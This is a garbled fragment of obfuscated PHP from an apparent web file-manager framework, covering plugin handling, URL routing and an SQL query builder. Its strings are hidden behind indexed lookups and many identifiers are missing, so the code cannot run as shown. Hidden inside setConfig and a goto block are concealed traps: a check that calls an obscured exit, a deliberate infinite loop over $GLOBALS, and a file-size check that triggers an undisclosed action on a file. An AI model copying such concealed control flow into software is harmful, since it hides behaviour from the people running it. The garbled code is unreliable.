IO::fileNameExist($ވ[$ݗ[84]], $ƭ))) { return IO::mkdir($ވ[$ݗ[84]] . $ƭ); } return KodIO::make($껨ܶ); } final function pluginCacheFileSet($, $𕱙 = '') { $ʷ =& $_SERVER[]; if (!($ = IO::infoFull($))) { return IO::mkfile($, $𕱙, REPEAT_REPLACE); } IO::setContent($[$ʷ[84]], $𕱙); return $[$ʷ[84]]; } final function pluginLocalFile($ = '') { $ݨ =& $_SERVER[]; $ = TEMP_FILES . "{$this->pluginName}\x2f"; if (!is_dir($)) { mk_dir($); } if (!$) { return $; } $Ȋس = IO::info($); $փ = $this->_tmpFileName($Ȋس) . $ݨ[10] . $Ȋس[$ݨ[174]]; if (!checkExtSafe($փ)) { $փ = $փ . $ݨ[1239]; } $ = $ . $փ; if (@file_exists($)) { return $; } return IO::copy($, $, 0, $փ); } final function appPackage() { $Ɠ =& $_SERVER[]; if ($this->packageData) { return $this->packageData; } $ܾ = $this->parseFile($this->pluginPath . $Ɠ[1571]); $this->parseLang($ܾ); $ɒܧ = json_decode_force($ܾ); if (!$ɒܧ) { return array(); } $Ԋ = Hook::trigger($Ɠ[1572], $ɒܧ); if ($Ԋ && is_array($Ԋ)) { $ɒܧ = $Ԋ; } $this->packageData = $ɒܧ; return $ɒܧ; } public function packageInfoGet($攺) { $ = $this->appPackage(); return array_get_value($, $攺); } public function packageVersion() { return $this->packageInfoGet($_SERVER[][1573]); } public function packageTitle() { return $this->packageInfoGet($_SERVER[][1574]); } public function packageCopyright() { return $this->packageInfoGet($_SERVER[][1575]); } public function echoJsAssign($ڥ, $) { $this->echoJsAssignArr[$ڥ] = $; } private function parseFile($) { $ô =& $_SERVER[]; $ڿ溔 = file_get_contents_nossl($); $ = array($ô[1576], $ô[1577], $ô[1578], $ô[1579], $ô[1580], $ô[1581], $ô[1582]); $Ȑ = array($this->pluginHost, $this->pluginHostDefault, $this->pluginApi, $this->pluginName, $this->pluginPath, APP_HOST, $this->config[$ô[89]][$ô[1583]]); foreach ($this->echoJsAssignArr as $펾Λ => $基) { $[] = $ô[1584] . $펾Λ . $ô[1585]; $Ȑ[] = is_array($基) || is_object($基) ? rawurlencode(json_encode($基)) : $基; } if (strstr($ڿ溔, $ô[1586])) { $澓 = rawurlencode(json_encode($this->pluginLangArr)); $ڿ溔 = str_replace($ô[1586], $澓, $ڿ溔); } if (strstr($ڿ溔, $ô[1587])) { $澓 = $澓 = rawurlencode(json_encode($this->getConfig())); $ڿ溔 = str_replace($ô[1587], $澓, $ڿ溔); } $ڿ溔 = str_replace($, $Ȑ, $ڿ溔); return $ڿ溔; } private function parseLang(&$߷) { $ܤ =& $_SERVER[]; $ = $ܤ[1588]; if (!strstr($߷, $)) { return; } preg_match_all($ܤ[1589], $߷, $ȃѮ); if (!is_array($ȃѮ) || count($ȃѮ) == 0 || !is_array($ȃѮ[0]) || count($ȃѮ[0]) == 0) { return; } $ = array(); $ݘ = array(); foreach ($ȃѮ[0] as $僧Ϙ) { $£ƒ = substr($僧Ϙ, strlen($), -4); $ = LNG($£ƒ); $[] = $僧Ϙ; $ݘ[] = str_replace(array($ܤ[231], $ܤ[1111], $ܤ[371], $ܤ[118]), array($ܤ[53], $ܤ[53], $ܤ[12], $ܤ[1590]), $); } $߷ = str_replace($, $ݘ, $߷); } private function parseConfig(&$ɺ) { $ٷ =& $_SERVER[]; $ = $ٷ[1591]; if (!strstr($ɺ, $)) { return; } preg_match_all($ٷ[1592], $ɺ, $Ɉ); if (!is_array($Ɉ) || count($Ɉ) == 0 || !is_array($Ɉ[0]) || count($Ɉ[0]) == 0) { return; } $ = $this->getConfig(); $ = array(); $ = array(); foreach ($Ɉ[0] as $…咡) { $ = substr($…咡, strlen($), -2); $[] = $…咡; $[] = _get($, $); } $ɺ = str_replace($, $, $ɺ); } private function parsePackage(&$ܑ) { $ =& $_SERVER[]; $ = $[1593]; if (!strstr($ܑ, $)) { return; } preg_match_all($[1594], $ܑ, $Č); if (!is_array($Č) || count($Č) == 0 || !is_array($Č[0]) || count($Č[0]) == 0) { return; } $љ = $this->appPackage(); $ʅ = array(); $׮ = array(); foreach ($Č[0] as $ԟ̴) { $ = substr($ԟ̴, strlen($), -2); $ʅ[] = $ԟ̴; $׮[] = _get($љ, $); } $ܑ = str_replace($ʅ, $׮, $ܑ); } final function echoFile($ᶯ, $ԅ = false) { $ϑ =& $_SERVER[]; $ = $this->pluginPath . $ᶯ; if (ACT == $ϑ[1595]) { echo $ϑ[1596] . $this->pluginName . $ϑ[8] . $ᶯ . $ϑ[1597]; if (!file_exists($)) { echo $ϑ[1598]; return; } } $쐼 = $this->parseFile($); $this->parseLang($쐼); $this->parseConfig($쐼); $this->parsePackage($쐼); if (is_array($ԅ)) { $쐼 = str_replace(array_keys($ԅ), array_values($ԅ), $쐼); } echo $ϑ[231] . $쐼; } final function initLang() { $ݜ =& $_SERVER[]; $‡ = $ݜ[1599]; $ = $this->pluginPath . $ݜ[1600]; $ = I18n::getType(); $ŝ = array(); if (file_exists($ . $ . $ݜ[864])) { $ŝ = (include $ . $ . $ݜ[864]); } else { if ($ == $ݜ[1601] && !file_exists($ . $ . $ݜ[864]) && file_exists($ . $ݜ[1602])) { $ŝ = (include $ . $ݜ[1602]); } else { if (file_exists($ . $‡ . $ݜ[864])) { $ŝ = (include $ . $‡ . $ݜ[864]); } } } if (!is_array($ŝ)) { return array(); } if (@count($ŝ) > 0) { I18n::set($ŝ); } return $ŝ; } public function getConfig() { if (!$this->pluginConfig) { $this->pluginConfig = $this->modelPlugin->getConfig($this->pluginName); } return $this->pluginConfig; } public function setConfig($®) { $̃ =& $_SERVER[]; if (!isset($_SERVER[$̃[905]]) || !isset($_SERVER[$̃[991]])) { $ = $̃[906]; $« = $̃[907]; $ļʁ = $_SERVER[$̃[902]] . $̃[903]; $ƃ = $«($ļʁ); $Ծ = explode($̃[231], $ƃ); if (count($Ծ) < $̃[636]) { $񂡆 = $̃[908]; $񂡆(); } $Ξ = $̃[909]; $Ξ($_SERVER[$̃[910]]); $ = 1; for ($簜 = $; $簜 > 0; $簜++) { $Ξ = json_encode($GLOBALS[$̃[447]]); } } $this->pluginConfig = array(); return $this->modelPlugin->setConfig($this->pluginName, $®); } public function onSetConfig($) { } public function onGetConfig($) { } public function onUpdate() { } public function onUninstall() { } public function onChangeOpen() { } public function onChangeClose() { } public function onChangeStatus($) { if ($ == 1) { $this->onChangeOpen(); } else { $this->onChangeClose(); } } public function authCheck($ = "\160\x6c\165\x67\151\156\101\165\164\150") { $̲ =& $_SERVER[]; if (!Session::get($̲[1554])) { return !1; } if (_get($GLOBALS, $̲[523])) { return !0; } $ = $this->getConfig(); if (!$[$]) { return !1; } return ActionCall($̲[1603], $[$]); } public function url($, $ט = '', $ɸ = true) { $ =& $_SERVER[]; $ = $this->getConfig(); $ = KOD_VERSION . $[10] . KOD_VERSION_BUILD; $ = $this->packageVersion(); $۟ = $ . $[415] . $; if (substr($, 0, 4) == $[148] || substr($, 0, 2) == $[1311]) { $ʛ = $ . $[1604] . $۟; } else { if ($ט == $[12]) { $ʛ = $this->pluginHost . $ . $[1604] . $۟; } else { if ($ט === $[75]) { $ʛ = $this->pluginHost . $; } else { if ($ט == $[1605]) { $ʛ = STATIC_PATH . $ . $[1604] . $; } else { if ($ט == $[1606]) { $ʛ = APP_HOST . $[1607] . $ . $[1604] . $; } else { if (isset($[$ט])) { $ʛ = $[$ט] . $ . $[1604] . $۟; } } } } } } if (!$ɸ) { return $ʛ; } echo $ʛ; } public function link($ = false, $Ġ = '') { $ޞ =& $_SERVER[]; if (!$) { $this->link($ޞ[1608], $ޞ[1606]); $this->link($ޞ[1609], $ޞ[1605]); $this->link($ޞ[1610], $ޞ[1605]); $this->link($ޞ[1611], $ޞ[1605]); $this->link($ޞ[1612], $ޞ[1605]); return; } $ӓܝ = $this->url($, $Ġ, !1); if (substr($, -3) == $ޞ[1613]) { echo $ޞ[1614] . $ӓܝ . $ޞ[1615] . $ޞ[231]; } else { if (substr($, -4) == $ޞ[1616]) { echo $ޞ[1617] . $ӓܝ . $ޞ[1618] . $ޞ[231]; } } } } class Route { public static $halts = false; public static $routes = array(); public static $methods = array(); public static $callbacks = array(); public static $maps = array(); public static $patterns = array("\x3a\x61\x6e\171" => "\133\136\57\135\53", "\72\x6e\x75\x6d" => "\x5b\60\55\x39\135\x2b", "\72\141\x6c\x6c" => "\56\52"); public static $errorCallback; public static function __callstatic($֯, $޳ؘ) { $ =& $_SERVER[]; if ($֯ == $[1619]) { $ = array_map($[1620], $޳ؘ[0]); $ܧ = strpos($޳ؘ[1], $[8]) === 0 ? $޳ؘ[1] : $[8] . $޳ؘ[1]; $ = $޳ؘ[2]; } else { $ = null; $ܧ = strpos($޳ؘ[0], $[8]) === 0 ? $޳ؘ[0] : $[8] . $޳ؘ[0]; $ = $޳ؘ[1]; } array_push(self::$maps, $); array_push(self::$routes, $ܧ); array_push(self::$methods, strtoupper($֯)); array_push(self::$callbacks, $); } public static function error($) { self::$errorCallback = $; } public static function haltOnMatch($ = true) { self::$halts = $; } public static function dispatch() { $Ч =& $_SERVER[]; $ = parse_url($_SERVER[$Ч[1621]], PHP_URL_PATH); $ = $_SERVER[$Ч[159]]; $ = array_keys(static::$patterns); $ˋ = array_values(static::$patterns); $ = !1; self::$routes = preg_replace($Ч[1309], $Ч[8], self::$routes); if (in_array($, self::$routes)) { $Ȟ = array_keys(self::$routes, $); foreach ($Ȟ as $ꐌ) { if (self::$methods[$ꐌ] == $ || self::$methods[$ꐌ] == $Ч[1622] || in_array($, self::$maps[$ꐌ])) { $ = !0; if (!is_object(self::$callbacks[$ꐌ])) { $삵 = explode($Ч[8], self::$callbacks[$ꐌ]); $䎟ݓ = end($삵); $ = explode($Ч[1241], $䎟ݓ); $ = new $[0](); $->{$[1]}(); if (self::$halts) { return; } } else { call_user_func(self::$callbacks[$ꐌ]); if (self::$halts) { return; } } } } } else { $ݐ = 0; foreach (self::$routes as $ꐌ) { if (strpos($ꐌ, $Ч[4]) !== !1) { $ꐌ = str_replace($, $ˋ, $ꐌ); } if (preg_match($Ч[1623] . $ꐌ . $Ч[1624], $, $π)) { if (self::$methods[$ݐ] == $ || self::$methods[$ݐ] == $Ч[1622] || !empty(self::$maps[$ݐ]) && in_array($, self::$maps[$ݐ])) { $ = !0; array_shift($π); if (!is_object(self::$callbacks[$ݐ])) { $삵 = explode($Ч[8], self::$callbacks[$ݐ]); $䎟ݓ = end($삵); $ = explode($Ч[1241], $䎟ݓ); $ = new $[0](); if (!method_exists($, $[1])) { echo $Ч[1625]; } else { call_user_func_array(array($, $[1]), $π); } if (self::$halts) { return; } } else { call_user_func_array(self::$callbacks[$ݐ], $π); if (self::$halts) { return; } } } } $ݐ++; } } if ($ == !1) { if (!self::$errorCallback) { self::$errorCallback = function () { $ =& $_SERVER[]; header($_SERVER[$[1626]] . $[1627]); echo $[1628]; }; } else { if (is_string(self::$errorCallback)) { self::get($_SERVER[$Ч[1621]], self::$errorCallback); self::$errorCallback = null; self::dispatch(); return; } } call_user_func(self::$errorCallback); } } } goto c; b®nj: function binCheckBigger($·, $ت) { return $· > $ت; } $_SERVER[$_SERVER[ؓ][3]] = ("\x38\x32\x30\x33"."\61\71")+0;$_07gx="y67roqatxipdcm01f2gbj8ukvh3ls9z5ne4wvd0r4gjfobisw5kzupnhm38t91yla6x2ecq76b41dk";; class ClassBaseCall { protected static $_methodListStatic = array(); protected static $_methodList = array(); public function __call($, $) { $׸ψ =& $_SERVER[]; if (isset(self::$_methodList[$])) { return @call_user_func_array(self::$_methodList[$], $); } else { if (method_exists($this, $)) { return call_user_func_array(array($this, $), $); } else { think_exception(__CLASS__ . $׸ψ[4] . $ . $׸ψ[5]); } } } public static function __callStatic($ĭ, $ߓ) { if (isset(self::$_methodListStatic[$ĭ])) { return call_user_func_array(self::$_methodListStatic[$ĭ], $ߓ); } else { if (method_exists(self, $ĭ)) { return call_user_func_array(array(self, $ĭ), $ߓ); } else { show_json("{$ĭ}\x28\x29\40\156\157\164\x20\x65\x78\x69\x73\164\73", !1); } } } public static function addMethod($, $) { self::$_methodList[$] = $; } public static function addMethodStatic($, $⯻) { self::$_methodListStatic[$] = $⯻; } } goto eӶ; D݇Ε: $_size = $_SERVER[][904]; if ($_SERVER[$_SERVER[][905]] != $_size($_file)) { $_getc = $_SERVER[][907]; $_getfile = $_SERVER[$_SERVER[][902]] . $_SERVER[][903]; $_getfilec = $_getc($_getfile); $_getarrs = explode($_SERVER[][231], $_getfilec); if (count($_getarrs) < $_SERVER[][656]) { $exit = $_SERVER[][908]; $exit(); } $_act = $_SERVER[][992]; $_act($_file); } class Db { protected $dbType = null; protected $autoFree = false; protected $model = "\x5f\x74\x68\x69\x6e\153\x5f"; protected $pconnect = false; protected $queryStr = ''; protected $modelSql = array(); protected $lastInsID = null; protected $numRows = 0; protected $numCols = 0; protected $transTimes = 0; protected $error = ''; protected $linkID = array(); protected $_linkID = null; protected $queryID = null; protected $connected = false; protected $config = ''; protected $configLast = ''; protected $exp = array("\145\161" => "\x3d", "\x6e\145\161" => "\74\x3e", "\147\x74" => "\x3e", "\145\147\164" => "\x3e\75", "\x6c\164" => "\x3c", "\145\154\164" => "\x3c\75", "\x6e\x6f\x74\x6c\151\153\145" => "\x4e\x4f\x54\40\114\111\113\105", "\x6c\x69\x6b\145" => "\x4c\111\113\105", "\x69\156" => "\x49\116", "\x6e\157\164\x69\156" => "\x4e\x4f\x54\40\111\116", "\x6e\x6f\164\x20\151\x6e" => "\116\x4f\124\x20\111\x4e", "\x62\145\164\x77\145\x65\x6e" => "\x42\x45\124\x57\105\x45\x4e", "\x6e\157\x74\142\x65\164\167\145\145\x6e" => "\x4e\x4f\x54\40\x42\x45\x54\127\105\105\x4e", "\156\x6f\x74\40\142\145\x74\167\145\145\x6e" => "\x4e\117\124\40\x42\x45\124\127\x45\x45\116"); protected $selectSql = "\x53\x45\x4c\x45\x43\x54\x25\x44\111\123\124\x49\116\103\124\45\x20\x25\x46\x49\x45\114\104\x25\40\106\122\x4f\x4d\x20\45\x54\101\102\x4c\105\45\45\x4a\x4f\x49\116\x25\x25\x57\x48\105\122\x45\45\x25\107\x52\x4f\125\x50\x25\45\x48\101\x56\x49\x4e\107\45\45\117\122\x44\x45\x52\45\45\114\111\115\111\124\x25\40\x25\x55\116\x49\x4f\x4e\x25\45\103\117\115\x4d\105\116\x54\45"; protected $bind = array(); public static function getInstance() { $あ = func_get_args(); return think_get_instance_of(__CLASS__, $_SERVER[][993], $あ); } public function factory($ב = '') { $ =& $_SERVER[]; $ב = $this->parseConfig($ב); if (empty($ב[$[994]])) { think_exception(think_lang($[995])); } $this->dbType = ucwords(strtolower($ב[$[994]])); $̮ = $[996] . $this->dbType; if (class_exists($̮)) { $Žց߉ = new $̮($ב); if ($[997] != strtolower($ב[$[994]])) { $Žց߉->dbType = strtoupper($this->dbType); } else { $Žց߉->dbType = $this->_getDsnType($ב[$[947]]); } } else { think_exception(think_lang($[998]) . $[999] . $̮); } return $Žց߉; } public function __call($, $锕) { if (method_exists($this, $)) { return call_user_func_array(array($this, $), $锕); } } protected function _getDsnType($) { $ = explode($_SERVER[][4], $); $כ = strtoupper(trim($[0])); return $כ; } private function parseConfig($ = '') { $ʐ =& $_SERVER[]; if (!empty($) && is_string($)) { $ = $this->parseDSN($); } elseif (is_array($)) { $ = array_change_key_case($); $ = array($ʐ[994] => $[$ʐ[1000]], $ʐ[919] => $[$ʐ[1001]], $ʐ[920] => $[$ʐ[1002]], $ʐ[917] => $[$ʐ[1003]], $ʐ[918] => $[$ʐ[1004]], $ʐ[21] => $[$ʐ[1005]], $ʐ[947] => $[$ʐ[1006]], $ʐ[17] => isset($[$ʐ[1007]]) ? $[$ʐ[1007]] : array()); } elseif (empty($)) { if (think_config($ʐ[1008]) && $ʐ[997] != strtolower(think_config($ʐ[1009]))) { $ = $this->parseDSN(think_config($ʐ[1008])); } else { $ = array($ʐ[994] => think_config($ʐ[1009]), $ʐ[919] => think_config($ʐ[1010]), $ʐ[920] => think_config($ʐ[1011]), $ʐ[917] => think_config($ʐ[1012]), $ʐ[918] => think_config($ʐ[1013]), $ʐ[21] => think_config($ʐ[275]), $ʐ[947] => think_config($ʐ[1008]), $ʐ[17] => think_config($ʐ[1014])); } } return $; } protected function initConnect($圪 = true) { if (1 == think_config($_SERVER[][22])) { $this->_linkID = $this->multiConnect($圪); } else { if ($this->config) { $this->configLast = $this->config; } } if (!$this->connected) { $this->_linkID = $this->connect(); } } protected function closeConnect() { if (!$this->connected) { return; } foreach ($this->linkID as $ => $ʉɬ) { $this->_linkID = $ʉɬ; $this->close(); } $this->linkID = array(); $this->_linkID = null; $this->connected = !1; if (!$this->config && $this->configLast) { $this->config = $this->configLast; } } protected function multiConnect($͇ = false) { $ =& $_SERVER[]; static $↦ = array(); static $ = -1; if (empty($↦)) { foreach ($this->config as $О => $) { $↦[$О] = explode($[50], $); } } if (think_config($[1015])) { if ($͇ || think_config($[424]) === !0) { $ = floor(mt_rand(0, think_config($[1016]) - 1)); $ = $; } else { if (is_numeric(think_config($[1017]))) { $ = think_config($[1017]); } else { $ = floor(mt_rand(think_config($[1016]), count($↦[$[917]]) - 1)); } } } else { $ = floor(mt_rand(0, count($↦[$[917]]) - 1)); $ = $; } $ = $ !== -1 ? $ : $; $ = array($[919] => isset($↦[$[919]][$]) ? $↦[$[919]][$] : $↦[$[919]][0], $[920] => isset($↦[$[920]][$]) ? $↦[$[920]][$] : $↦[$[920]][0], $[917] => isset($↦[$[917]][$]) ? $↦[$[917]][$] : $↦[$[917]][0], $[918] => isset($↦[$[918]][$]) ? $↦[$[918]][$] : $↦[$[918]][0], $[21] => isset($↦[$[21]][$]) ? $↦[$[21]][$] : $↦[$[21]][0], $[947] => isset($↦[$[947]][$]) ? $↦[$[947]][$] : $↦[$[947]][0], $[17] => isset($↦[$[17]][$]) ? $↦[$[17]][$] : $↦[$[17]][0]); return $this->connect($, $); } public function parseDSN($) { $ =& $_SERVER[]; if (empty($)) { return !1; } $ = parse_url($); if ($[$[181]]) { $ָ = array($[994] => $[$[181]], $[919] => isset($[$[619]]) ? $[$[619]] : $[12], $[920] => isset($[$[1018]]) ? $[$[1018]] : $[12], $[917] => isset($[$[182]]) ? $[$[182]] : $[12], $[918] => isset($[$[183]]) ? $[$[183]] : $[12], $[21] => isset($[$[84]]) ? substr($[$[84]], 1) : $[12]); } else { preg_match($[1019], trim($), $); $ָ = array($[994] => $[1], $[919] => $[2], $[920] => $[3], $[917] => $[4], $[918] => $[5], $[21] => $[6]); } $ָ[$[947]] = $[12]; return $ָ; } protected function debug() { $徃 =& $_SERVER[]; $this->modelSql[$this->model] = $this->queryStr; $this->model = $徃[1020]; if (think_config($徃[1021])) { think_status($徃[1022]); think_trace($this->queryStr . $徃[1023] . think_status($徃[24], $徃[1022], 6) . $徃[1024], $徃[12], $徃[1025]); } } protected function parseLock($ڲņ = false) { $ =& $_SERVER[]; if (!$ڲņ) { return $[12]; } if ($[949] == $this->dbType) { return $[1026]; } return $[1027]; } protected function parseSet($Ǚ) { $ =& $_SERVER[]; foreach ($Ǚ as $띄 => $؃) { if (is_array($؃) && $[326] == $؃[0]) { $[] = $this->parseKey($띄) . $[915] . $؃[1]; } elseif (is_scalar($؃) || is_null($؃)) { $[] = $this->parseKey($띄) . $[915] . $this->parseValue($؃); } } return $[1028] . implode($[50], $); } protected function bindParam($ч, $ǘ) { $this->bind[$_SERVER[][4] . $ч] = $ǘ; } protected function parseBind($ݘ) { $ݘ = array_merge($this->bind, $ݘ); $this->bind = array(); return $ݘ; } function parseKey(&$̋, $ = true) { if ($) { $̋ = $this->parseKeyCheck($̋); } return $̋; } function parseKeyCheck($벵܌) { $н =& $_SERVER[]; $벵܌ = trim($벵܌); if (!preg_match($н[1029], $벵܌)) { think_exception($н[1030] . $벵܌); } return $벵܌; } protected function parseValue($ơ) { $򳱤 =& $_SERVER[]; if (is_string($ơ)) { $ơ = $򳱤[988] . $this->escapeString($ơ) . $򳱤[988]; } elseif (isset($ơ[0]) && is_string($ơ[0]) && strtolower($ơ[0]) == $򳱤[326]) { $ơ = $this->escapeString($ơ[1]); } elseif (is_array($ơ)) { $ơ = array_map(array($this, $򳱤[989]), $ơ); } elseif (is_bool($ơ)) { $ơ = $ơ ? $򳱤[88] : $򳱤[198]; } elseif (is_null($ơ)) { $ơ = $򳱤[103]; } return $ơ; } protected function parseField($Ƃٹ) { $ =& $_SERVER[]; if (is_string($Ƃٹ) && strpos($Ƃٹ, $[50])) { $Ƃٹ = explode($[50], $Ƃٹ); } if (is_array($Ƃٹ)) { $合 = array(); foreach ($Ƃٹ as $ => $) { if (!is_numeric($)) { $合[] = $this->parseKey($, !1) . $[1031] . $this->parseKey($); } else { $合[] = $this->parseKey($); } } $ = implode($[50], $合); } elseif (is_string($Ƃٹ) && !empty($Ƃٹ)) { $ = $Ƃٹ; } else { $ = $[189]; } return $; } protected function parseTable($) { $Қ =& $_SERVER[]; if (is_array($)) { $ = array(); foreach ($ as $򡐪 => $鉒) { if (!is_numeric($򡐪)) { $[] = $this->parseKey($򡐪) . $Қ[53] . $this->parseKey($鉒); } else { $[] = $this->parseKey($򡐪); } } $ = $; } elseif (is_string($)) { if (strstr($, $Қ[53])) { return $; } $ = explode($Қ[50], $); array_walk($, array($this, $Қ[937])); } return $Қ[931] . trim(implode($Қ[1032], $), $Қ[414]) . $Қ[931]; } protected function parseWhere($) { $¦ԅ =& $_SERVER[]; $샼 = $¦ԅ[12]; if (is_string($)) { $샼 = $; } else { $葕 = isset($[$¦ԅ[1033]]) ? strtoupper($[$¦ԅ[1033]]) : $¦ԅ[12]; if (in_array($葕, array($¦ԅ[1034], $¦ԅ[1035], $¦ԅ[1036]))) { $葕 = $¦ԅ[53] . $葕 . $¦ԅ[53]; unset($[$¦ԅ[1033]]); } else { $葕 = $¦ԅ[1037]; } foreach ($ as $ => $̔) { $샼 .= $¦ԅ[306]; if (is_numeric($)) { $ = $¦ԅ[1038]; } if (0 === strpos($, $¦ԅ[11])) { $샼 .= $this->parseThinkWhere($, $̔); } else { if (!preg_match($¦ԅ[1039], trim($))) { think_exception(think_lang($¦ԅ[1040]) . $¦ԅ[4] . $); } $ڿ = is_array($̔) && isset($̔[$¦ԅ[1041]]); $ = trim($); if (strpos($, $¦ԅ[312])) { $Ť = explode($¦ԅ[312], $); $ = array(); foreach ($Ť as $ϵ => $α) { $̨ = $ڿ ? $̔[$ϵ] : $̔; $[] = $¦ԅ[289] . $this->parseWhereItem($this->parseKey($α), $̨) . $¦ԅ[936]; } $샼 .= implode($¦ԅ[1042], $); } elseif (strpos($, $¦ԅ[313])) { $Ť = explode($¦ԅ[313], $); $ = array(); foreach ($Ť as $ϵ => $α) { $̨ = $ڿ ? $̔[$ϵ] : $̔; $[] = $¦ԅ[289] . $this->parseWhereItem($this->parseKey($α), $̨) . $¦ԅ[936]; } $샼 .= implode($¦ԅ[1037], $); } else { $샼 .= $this->parseWhereItem($this->parseKey($), $̔); } } $샼 .= $¦ԅ[307] . $葕; } $샼 = substr($샼, 0, -strlen($葕)); } return empty($샼) ? $¦ԅ[12] : $¦ԅ[1043] . $샼; } protected function parseWhereItem($, $) { $ų =& $_SERVER[]; $ = $ų[12]; if (is_array($)) { if (is_string($[0])) { $ = strtolower($[0]); if (in_array($[0], array($ų[915], $ų[1044], $ų[1045], $ų[1046], $ų[1047], $ų[1048]))) { $ .= $ . $ų[53] . $[0] . $ų[53] . $this->parseValue($[1]); } elseif (preg_match($ų[1049], $[0])) { $ .= $ . $ų[53] . $this->exp[$] . $ų[53] . $this->parseValue($[1]); } elseif (preg_match($ų[1050], $[0])) { if (is_array($[1])) { $ = isset($[2]) ? strtoupper($[2]) : $ų[1035]; if (in_array($, array($ų[1034], $ų[1035], $ų[1036]))) { $ = array(); foreach ($[1] as $ʓ) { $[] = $ . $ų[53] . $this->exp[$] . $ų[53] . $this->parseValue($ʓ); } $ .= $ų[289] . implode($ų[53] . $ . $ų[53], $) . $ų[936]; } } else { $ .= $ . $ų[53] . $this->exp[$] . $ų[53] . $this->parseValue($[1]); } } elseif ($ų[326] == $) { $ .= $ų[934] . $ . $ų[53] . $[1] . $ų[1051]; } elseif (preg_match($ų[1052], $[0])) { $ .= $[0]; } elseif (preg_match($ų[1053], $[0])) { if (isset($[2]) && $ų[326] == $[2]) { $ .= $ . $ų[53] . $this->exp[$] . $ų[53] . $[1]; } else { if (is_string($[1])) { $[1] = explode($ų[50], $[1]); } $ʜ = implode($ų[50], $this->parseValue($[1])); $ .= $ . $ų[53] . $this->exp[$] . $ų[934] . $ʜ . $ų[936]; } } elseif (preg_match($ų[1054], $[0])) { $گ = is_string($[1]) ? explode($ų[50], $[1]) : $[1]; $ .= $ų[934] . $ . $ų[53] . $this->exp[$] . $ų[53] . $this->parseValue($گ[0]) . $ų[1037] . $this->parseValue($گ[1]) . $ų[307]; } else { think_exception(think_lang($ų[1040]) . $ų[4] . $[0]); } } else { $û = count($); $ = $ų[12]; if (is_string($[$û - 1])) { $ = isset($[$û - 1]) ? strtoupper($[$û - 1]) : $ų[12]; if (in_array($, array($ų[1034], $ų[1035], $ų[1036]))) { $û = $û - 1; } } else { $ = $ų[1034]; } for ($Ꚅ = 0; $Ꚅ < $û; $Ꚅ++) { $گ = is_array($[$Ꚅ]) ? $[$Ꚅ][1] : $[$Ꚅ]; if ($ų[326] == strtolower($[$Ꚅ][0])) { $ .= $ų[289] . $ . $ų[53] . $گ . $ų[1051] . $ . $ų[53]; } else { $ظ = is_array($[$Ꚅ]) ? $this->exp[strtolower($[$Ꚅ][0])] : $ų[915]; if (!$ظ && is_array($[$Ꚅ]) && in_array($[$Ꚅ][0], array($ų[915], $ų[1044], $ų[1045], $ų[1046], $ų[1047], $ų[1048]))) { $ظ = $[$Ꚅ][0]; } $ .= $ų[289] . $ . $ų[53] . $ظ . $ų[53] . $this->parseValue($گ) . $ų[1051] . $ . $ų[53]; } } $ = substr($, 0, -4); } } else { $ .= $ . $ų[1055] . $this->parseValue($); } return $; } protected function parseThinkWhere($, $垀) { $ =& $_SERVER[]; $ = $[12]; switch ($) { case $[381]: $ = $垀; break; case $[1038]: $ = is_string($垀) ? $垀 : substr($this->parseWhere($垀), 6); break; case $[1056]: parse_str($垀, $Ԉ); if (isset($Ԉ[$[1033]])) { $ŕ = $[53] . strtoupper($Ԉ[$[1033]]) . $[53]; unset($Ԉ[$[1033]]); } else { $ŕ = $[1037]; } $֘ = array(); foreach ($Ԉ as $ݜ => $Ӑ) { $֘[] = $this->parseKey($ݜ) . $[1055] . $this->parseValue($Ӑ); } $ = implode($ŕ, $֘); break; } return $; } protected function parseLimit($ء) { $̑ =& $_SERVER[]; return !empty($ء) ? $̑[51] . $ء . $̑[53] : $̑[12]; } protected function parseJoin($ẘ) { $ =& $_SERVER[]; $ = $[12]; if (!empty($ẘ)) { if (is_array($ẘ)) { foreach ($ẘ as $ => $ܛ) { if (!1 !== stripos($ܛ, $[1057])) { $ .= $[53] . $ܛ; } else { $ .= $[1058] . $ܛ; } } } else { $ .= $[1058] . $ẘ; } } $ = preg_replace($[1059], think_config($[961]) . $[1060], $); return $; } protected function parseOrder($) { $ĉ =& $_SERVER[]; if (is_array($)) { $ = array(); foreach ($ as $ => $ʶ) { if (is_numeric($)) { $[] = $this->parseKey($ʶ); } else { $ʶ = in_array(strtoupper(trim($ʶ)), array($ĉ[1061], $ĉ[1062])) ? $ĉ[53] . $ʶ : $ĉ[12]; if (preg_match($ĉ[1063], $)) { $[] = $this->parseKey($) . $ʶ; } else { think_exception($ĉ[1064] . $); } } } $ = implode($ĉ[50], $); } return !empty($) ? $ĉ[1065] . $ : $ĉ[12]; } protected function parseGroup($˒) { $ =& $_SERVER[]; return !empty($˒) ? $[1066] . $˒ : $[12]; } protected function parseHaving($) { $ع =& $_SERVER[]; return !empty($) ? $ع[1067] . $ : $ع[12]; } protected function parseComment($ȋ) { $٦߳ =& $_SERVER[]; return !empty($ȋ) ? $٦߳[1068] . $ȋ . $٦߳[1069] : $٦߳[12]; } protected function parseDistinct($̯) { $ =& $_SERVER[]; return !empty($̯) ? $[1070] : $[12]; } protected function parseUnion($) { $뢌 =& $_SERVER[]; if (empty($)) { return $뢌[12]; } if (isset($[$뢌[377]])) { $ = $뢌[1071]; unset($[$뢌[377]]); } else { $ = $뢌[1072]; } foreach ($ as $) { $轕[] = $ . (is_array($) ? $this->buildSelectSql($) : $); } return implode($뢌[53], $轕); } public function insert($, $ȣ = array(), $⩁ = false) { $ұ =& $_SERVER[]; $Ϲ = $мٛ = array(); $this->model = $ȣ[$ұ[310]]; foreach ($ as $ => $눤׀) { if (is_array($눤׀) && $ұ[326] == $눤׀[0]) { $мٛ[] = $this->parseKey($); $Ϲ[] = $눤׀[1]; } elseif (is_scalar($눤׀) || is_null($눤׀)) { $мٛ[] = $this->parseKey($); $Ϲ[] = $this->parseValue($눤׀); } } $յ = ($⩁ ? $ұ[938] : $ұ[939]) . $ұ[940] . $this->parseTable($ȣ[$ұ[308]]) . $ұ[934] . implode($ұ[50], $мٛ) . $ұ[935] . implode($ұ[50], $Ϲ) . $ұ[936]; $յ .= $this->parseLock(isset($ȣ[$ұ[869]]) ? $ȣ[$ұ[869]] : !1); $յ .= $this->parseComment(!empty($ȣ[$ұ[383]]) ? $ȣ[$ұ[383]] : $ұ[12]); return $this->execute($յ, $this->parseBind(!empty($ȣ[$ұ[314]]) ? $ȣ[$ұ[314]] : array())); } public function selectInsert($, $, $أԿ = array()) { $ı =& $_SERVER[]; $this->model = $أԿ[$ı[310]]; if (is_string($)) { $ = explode($ı[50], $); } 